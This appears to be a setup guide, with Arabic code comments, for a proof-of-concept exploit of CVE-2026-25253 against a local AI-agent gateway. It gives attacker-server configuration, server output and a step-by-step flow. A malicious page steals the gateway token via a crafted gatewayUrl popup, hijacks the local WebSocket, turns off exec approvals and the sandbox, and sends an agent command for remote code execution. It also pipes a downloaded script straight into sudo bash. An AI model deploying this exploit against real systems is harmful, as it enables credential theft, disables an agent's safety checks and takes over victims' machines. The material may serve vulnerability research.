brew install node

curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs

node -v
npm -v

git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install

const LOCAL_SCHEME = 'http';                // مخطط واجهة التحكم للضحية
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // البوابة المحلية للضحية
const ATTACKER_WS_PORT = 8080;              // منفذ WebSocket للمهاجم (يجب أن يطابق attacker-server.js)
const ATTACKER_SCHEME = 'ws';               // استخدم 'wss' إذا كان خلف TLS
const COMMAND = 'touch /tmp/success';       // الأمر الذي سيُنفَّذ على جهاز الضحية

const HTTP_PORT = 3000;  // يقدّم exploit.html
const WS_PORT = 8080;    // يلتقط الرموز المسروقة

node attacker-server.js

============================================================
CVE-2026-25253 Attack Server
============================================================

[HTTP]  Exploit page: http://0.0.0.0:3000/exploit.html
[WS]    Token capture: ws://0.0.0.0:8080

Waiting for victim...

http://<ATTACKER_IP>:3000/exploit.html

┌──────────────────────────────────────────────────────────────────────────┐
│                          EXPLOIT FLOW                                    │
├──────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  1. Victim visits http://<attacker>:3000/exploit.html                    │
│     │                                                                    │
│  2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker>  │
│     │                                                                    │
│  3. Control UI in popup reads token from localStorage                    │
│     and sends it to attacker's WS server via gatewayUrl                  │
│     │                                                                    │
│  4. Attacker server rejects first connect (device token)                 │
│     Control UI retries with settings token → CAPTURED                    │
│     │                                                                    │
│  5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789         │
│     (Cross-Site WebSocket Hijacking - no Origin validation)              │
│     │                                                                    │
│  6. Authenticates with stolen token, disables security:                  │
│     • exec.approvals.set → ask: "off"                                    │
│     • config.patch → host: "gateway", sandbox.mode: "off"                │
│     │                                                                    │
│  7. Sends agent command → RCE on victim host                             │
│                                                                          │
└──────────────────────────────────────────────────────────────────────────┘

ls -la /tmp/success